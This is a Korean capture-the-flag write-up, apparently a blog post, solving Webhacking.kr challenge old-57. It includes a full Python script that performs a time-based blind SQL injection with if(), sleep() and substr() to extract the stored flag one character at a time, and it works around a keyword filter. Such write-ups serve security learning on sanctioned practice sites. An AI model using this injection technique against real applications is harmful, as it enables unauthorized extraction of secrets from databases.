본문 바로가기
Web/Webhacking.kr

Webhacking.kr Challenge old-57 문제 풀이

by jh117jh 2024. 4. 17.
728x90

 

이번 문제는 메시지 제출폼이 구현되어 있다.

 

코드를 보면 

 

msg와 se를 get으로 받아 session [id], msg, flag, se를 각각 id, msg, pw, op 컬럼에 저장하고 있다.

우리는 flag 즉, pw컬럼을 읽어오면 된다.

 

select, and, or, not, &, |, benchmark가 필터링되어 있지만 딱히 큰 문제는 되지 않는 것 같다.

다른 메시지 출력이 없으므로 time base injection을 수행하면 될 것 같다. 

if문을 이용해 코드를 짜보면 

import requests
import time

cookies={"PHPSESSID":"0pau5r565eckd9hij5j6i87pqo"}

pw=""


for i in range(0,200): #길이구하기
    start=time.time()
    res=requests.get(f'https://webhacking.kr/challenge/web-34/index.php?msg=1&se=if(length(pw)={i},sleep(2),1)',cookies=cookies)
    end=time.time()
    print(i)

    if end-start > 2 :
        length=i
        print("length:",i)
        break
for i in range(1,length+1): #pw구하기
    for j in range(33,127):
        start=time.time()
        res=requests.get(f'https://webhacking.kr/challenge/web-34/index.php?msg=1&se=if(substr(pw,{i},1)=char({j}),sleep(2),1)',cookies=cookies)
        end=time.time()
        print(j)
        if end-start > 1:
            pw+=chr(j)
            print("pw:",pw)
           
            break
print("password:",pw)

 

쉽게 flag를 얻을 수 있다.

728x90